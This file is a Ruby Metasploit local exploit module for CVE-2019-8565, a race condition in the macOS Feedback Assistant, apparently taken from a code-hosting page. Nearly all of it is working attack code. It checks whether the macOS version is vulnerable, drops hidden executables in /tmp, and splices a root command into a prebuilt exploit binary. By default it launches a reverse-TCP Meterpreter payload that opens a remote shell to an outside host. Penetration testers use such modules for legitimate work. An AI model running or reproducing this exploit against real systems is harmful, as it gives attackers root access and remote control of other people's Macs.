111 lines
3.9 KiB
Ruby
111 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::OSX::Priv
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include Msf::Post::OSX::System
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mac OS X Feedback Assistant Race Condition',
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'Description' => %q{
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This module exploits a race condition vulnerability in Mac's Feedback Assistant.
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A successful attempt would result in remote code execution under the context of
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root.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'CodeColorist', # Discovery and exploit
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'timwr', # Metasploit module
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],
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'References' => [
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['CVE', '2019-8565'],
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['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
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['URL', 'https://support.apple.com/en-in/HT209600'],
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['URL', 'https://github.com/ChiChou/sploits'],
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],
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'SessionTypes' => [ 'meterpreter', 'shell' ],
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'Platform' => [ 'osx', 'python', 'unix' ],
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'DefaultTarget' => 0,
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'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
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'Targets' => [
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[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
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[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
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[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
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],
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'DisclosureDate' => '2019-04-13'))
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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]
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end
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def upload_executable_file(filepath, filedata)
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print_status("Uploading file: '#{filepath}'")
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write_file(filepath, filedata)
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chmod(filepath)
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register_file_for_cleanup(filepath)
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end
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def check
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version = get_system_version
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return CheckCode::Unknown('Could not retrieve OSX version') if version.blank?
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version = Rex::Version.new(version)
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if version >= Rex::Version.new('10.14.4')
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return CheckCode::Safe("OSX version #{version} is not vulnerable.")
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end
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CheckCode::Appears("OSX version #{version} appears vulnerable.")
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end
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def exploit
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if check != CheckCode::Appears
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fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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end
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if is_root?
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fail_with Failure::BadConfig, 'Session already has root privileges'
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end
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unless writable? datastore['WritableDir']
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fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
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end
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case target['Arch']
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when ARCH_X64
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payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
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binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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upload_executable_file(payload_file, binary_payload)
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root_cmd = payload_file
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when ARCH_PYTHON
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root_cmd = "echo \"#{payload.encoded}\" | python"
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else
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root_cmd = payload.encoded
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end
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root_cmd = root_cmd + " & \0"
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if root_cmd.length > 1024
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fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
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end
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exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
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placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
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exploit_data[placeholder_index, root_cmd.length] = root_cmd
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exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
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upload_executable_file(exploit_file, exploit_data)
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print_status("Executing exploit '#{exploit_file}'")
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result = cmd_exec(exploit_file)
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print_status("Exploit result:\n#{result}")
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end
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end
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